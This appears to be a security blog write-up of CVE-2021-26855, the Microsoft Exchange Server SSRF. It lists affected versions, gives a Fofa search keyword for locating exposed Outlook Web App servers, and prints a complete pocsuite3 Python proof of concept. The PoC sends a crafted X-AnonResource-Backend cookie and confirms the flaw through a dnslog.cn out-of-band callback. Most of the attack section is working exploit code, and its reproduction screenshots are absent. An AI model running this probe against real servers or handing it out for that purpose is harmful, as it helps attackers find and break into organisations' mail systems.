People always overestimate what they can accomplish in a day, but underestimate what they can accomplish in a year.
0x01 Vulnerability Details
Microsoft Exchange Server is a messaging and collaboration system. Exchange Server can be used to build email systems for enterprises and schools, as well as free email systems.
An unauthenticated remote attacker can exploit this vulnerability by sending a specially crafted HTTP request to a vulnerable Exchange Server. Microsoft states that exploitation requires the vulnerable Exchange Server to be able to accept untrusted connections over port 443. Successful exploitation allows an attacker to authenticate to the Exchange Server.
0x02 Affected Versions
Exchange Server 2013 Exchange Server 2016 Exchange Server 2019
0x03 Environment Setup
Fofa search keyword: title="Outlook Web App"
0x04 Vulnerability Reproduction

0x05 POC Development
# /usr/bin/env python3
# coding:utf8
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
import time
class Dnslog:
def __init__(self) -> None:
self._get_dns_domain_api = 'http://dnslog.cn/getdomain.php' # 获取子域名
self._get_dns_record_api = "http://dnslog.cn/getrecords.php" # 查询dns解析
self._headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE',
}
self._dns = requests.session()
self.dnssubdomain = self._dns.get(self._get_dns_domain_api).text
self.msg = 'test'
def get_records(self):
try:
logger.info("开始尝试获取dns log数据")
result = self._dns.get(self._get_dns_record_api,
headers=self._headers).text
if self.msg in result:
return True
else:
return False
except Exception as e:
logger.info(f"获取dns log数据失败,请重试,错误{e}")
class TestPOC(POCBase):
vulID = 'Hunter-0x07'
version = 'v1'
author = ['Hunter-0x07']
vulDate = '2021-03-08'
createDate = '2021-03-08'
updateDate = '2020-03-08'
references = ['']
name = 'Exchange Server SSRF漏洞'
appPowerLink = ''
appName = 'Exchange Server'
appVersion = '''Exchange Server 2016,2019,2013'''
vulType = 'SSRF'
desc = ''''''
def _verify(self):
result = {}
self._dnslog = Dnslog()
self._dns_subdomain = f"{self._dnslog.msg}.{self._dnslog.dnssubdomain}"
self._headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0',
'Cookie': f'X-AnonResource=true; X-AnonResource-Backend={self._dns_subdomain}/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;',
}
self.url = self.url.strip("/")
self.vuln_url = self.url + '/owa/auth/x.js'
self._send_poc()
# 休眠5秒等待dns log出结果
time.sleep(5)
try:
if self._dnslog.get_records():
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
logger.info("存在漏洞")
except Exception as e:
logger.error("未获取到dns log信息,请重试")
return self.parse_output(result)
def _send_poc(self):
logger.info("验证是否存在漏洞.....")
try:
res = requests.get(url=self.vuln_url, headers=self._headers, verify=False)
logger.info(res.status_code)
except Exception as e:
logger.error(f"POC发送失败,请重试,错误{e}")
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(TestPOC)
0x06 POC Reproduction
The vulnerability exists, as shown below:

The vulnerability does not exist, as shown below:

0x07 References
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855